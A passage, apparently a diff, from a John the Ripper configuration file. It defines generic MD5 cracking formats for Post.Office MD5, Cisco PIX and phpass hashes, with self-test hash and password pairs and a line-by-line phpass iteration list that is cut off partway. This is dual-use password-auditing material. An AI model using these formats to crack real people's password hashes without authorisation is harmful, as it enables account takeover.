values.) NOTE -# if you have 3 constants, then use CONST1, CONST2 and CONST3 (i.e. -# pack them into the first X number constants). -# -#################################################################### - - - -#################################################################### -#################################################################### -#################################################################### -# Here are some additional 'test' formats. To use these, simply -# cut them and place them at the bottom of john.ini (john.conf). -# These require john-1.7.7 jumbo2 + to work properly -#################################################################### -#################################################################### -#################################################################### - - -#################################################################### -# Simple GENERIC-MD5 type for PostOffice-MD5 md5($s.Y.$p.\xF7.$s) -# Included here to 'exercise' the script parser (constants) -# NOTE, the internal md5_gen(18) has a specialized crypt -# function. It does the same as what this script does -# but does not have the overhead of this script work, and -# runs 10-15% faster. -#################################################################### -[List.Generic:md5_gen(1009)] -Expression=md5_gen(1009): md5($s.Y.$p.\xF7.$s) [Post.Office MD5] -Flag=MGF_SALTED -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_input1_from_CONST1 -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_input1_from_CONST2 -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1009)550c41c11bab48f9dbd8203ed313eef0$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:abc123 -Test=md5_gen(1009)0c78bdef7d5448105cfbbc9aaa490a44$550c41c11bab48f9dbd8203ed313eef0:abc123 -Test=md5_gen(1009)9be296cf73d2f548dae3cccafaff1dd9$82916963c701200625cba2acd40d6569:FRED -Test=md5_gen(1009)a0e2078f0354846ec5bc4c7d7be08a46$82916963c701200625cba2acd40d6569: -CONST1=Y -CONST2=\xF7 -SaltLen=32 - -#################################################################### -# Simple GENERIC-MD5 type for Cisco PIX hash (same as pixMD5_fmt.c -#################################################################### -[List.Generic:md5_gen(1010)] -Expression=md5_gen(1010): pixMD5 -Flag=MGF_INPBASE64_4x6 -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__set_input_len_16 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1010)2KFQnbNIdI.2KYOU:cisco -Test=md5_gen(1010)TRPEas6f/aa6JSPL:test1 -Test=md5_gen(1010)OMT6mXmAvGyzrCtp:test2 -Test=md5_gen(1010)gTC7RIy1XJzagmLm:test3 -Test=md5_gen(1010)oWC1WRwqlBlbpf/O:test4 -Test=md5_gen(1010)NuLKvvWGg.x9HEKO:password -Test=md5_gen(1010)8Ry2YjIyt7RRXU24: -Test=md5_gen(1010).7nfVBEIEu4KbF/1:0123456789abcdef -#Test=md5_gen(1010).7nfVBEIEu4KbF/1:0123456789abcdefxxxxxx -MaxInputLen=16 - -#################################################################### -# Simple GENERIC-MD5 type for Cisco PIX hash with a salt. The salt -# is the first 4 bytes of the user name. I have made an assumption -# about PW len. I assume it maxes at 12 chars, so the full salt is -# allowed. -#################################################################### -[List.Generic:md5_gen(1011)] -Expression=md5_gen(1011): pixMD5-salted -Flag=MGF_INPBASE64_4x6 -Flag=MGF_SALTED -Flag=MGF_NOTSSE2Safe -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__set_input_len_16 -Func=MD5GenBaseFunc__crypt -Test=md5_gen(1011)h3mJrcH0901pqX/m$alex:ripper -Test=md5_gen(1011)3USUcOPFUiMCO4Jk$cisc:cisco -Test=md5_gen(1011)lZt7HSIXw3.QP7.R$admc:CscFw-ITC! -Test=md5_gen(1011)hN7LzeyYjw12FSIU$john:cisco -Test=md5_gen(1011)7DrfeZ7cyOj/PslD$jack:cisco -MaxInputLen=12 -SaltLen=4 - -#################################################################### -# Simple GENERIC-MD5 type for PostOffice-MD5 md5($s.Y.$p.\xF7.$s) -# Included here to 'exercise' the script parser (constants) -# NOTE, the internal md5_gen(18) has a specialized crypt -# function, as does this version. This is same as md5_gen(18) -#################################################################### -[List.Generic:md5_gen(1012)] -Expression=md5_gen(1012): md5($s.Y.$p.\xF7.$s) [Post.Office MD5] -Flag=MGF_SALTED -Flag=MGF_NOTSSE2Safe -Flag=MGF_POSetup -Func=MD5GenBaseFunc__POCrypt -Test=md5_gen(1012)550c41c11bab48f9dbd8203ed313eef0$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:abc123 -Test=md5_gen(1012)0c78bdef7d5448105cfbbc9aaa490a44$550c41c11bab48f9dbd8203ed313eef0:abc123 -Test=md5_gen(1012)9be296cf73d2f548dae3cccafaff1dd9$82916963c701200625cba2acd40d6569:FRED -Test=md5_gen(1012)a0e2078f0354846ec5bc4c7d7be08a46$82916963c701200625cba2acd40d6569: -Test=md5_gen(1012)eddfe6493d7e692994cf3526c71f8c84$aabbccddeeffgghhlksjflksjlfkdjsl:test1 -SaltLen=32 - -#################################################################### -# Simple GENERIC-MD5 type for phpass-MD5. Same as md5_gen(17) -#################################################################### -[List.Generic:md5_gen(1013)] -Expression=md5_gen(1013): phpass ($P$ or $H$) -Flag=MGF_SALTED -Flag=MGF_PHPassSetup -Flag=MGF_INPBASE64 -Func=MD5GenBaseFunc__PHPassCrypt -Test=md5_gen(1013)jgypwqm.JsMssPLiS8YQ00$9aaaaaSXB:test1 -Test=md5_gen(1013)5R3ueot5zwV.7MyzAItyg/$912345678:thatsworking -Test=md5_gen(1013)yhzfTrJXcouTpLleLSbnY/$7aaaaaSXB:test1 -Test=md5_gen(1013)mwulIMWPGe6RPXG1/R8l50$712345678:thatsworking -Test=md5_gen(1013)nfKm8qpXa88RVUjLgjY/u1$7555555hh:test3 -Test=md5_gen(1013)JSe8S8ufpLrsNE7utOpWc/$BaaaaaSXB:test1 -Test=md5_gen(1013)aqkw6carDzQ67zCLOvVp60$B12345678:thatsworking -Test=md5_gen(1013)o2j.1E7X1NvVyEJ/QY9hX0$B555555hh:test3 -Test=md5_gen(1013)Y5RwgMij0xFsUIrr33lM1/$9555555hh:test3 -SaltLen=9 - - -#################################################################### -# Simple GENERIC-MD5 type for phpass-MD5. Same as md5_gen(17) -# This format shows what happens under the hood, INSIDE of the -# MD5GenBaseFunc__PHPassCrypt() function. We ONLY do $P$7, since -# it is the 'smallest' of the set. To do this WITHOUT the -# MD5GenBaseFunc__PHPassCrypt() function, we would have to have a -# special format for EACH type. NOTE the timings will 'appear' to -# be MUCH faster than normal phpass. This is due to ONLY checking -# a version of phpass that uses 512 crypts. In the phpass testing -# we select a version that tests 2048 of them. So in other words -# if this format was same 'speed', it would be 4x faster. NOTE it -# is a little slower than that, due to added overhead. -#################################################################### -[List.Generic:md5_gen(1014)] -Expression=md5_gen(1014): phpass(512 crypt version) ($P$7 or $H$7 ) -Flag=MGF_SALTED -Flag=MGF_INPBASE64 -Func=MD5GenBaseFunc__clean_input -Func=MD5GenBaseFunc__append_salt -Func=MD5GenBaseFunc__append_keys -Func=MD5GenBaseFunc__crypt_to_input_raw -Func=MD5GenBaseFunc__append_keys -# for type 7, we perform 512 crypts -# 1 crypt here -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen_but_setlen_in_SSE -# Now, perform 254 crypts -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -#8 done -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -#16 done -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -#32 done -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -#64 done -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -#128 done -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -#256 done -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen -Func=MD5GenBaseFunc__crypt_to_input_raw_Overwrite_NoLen 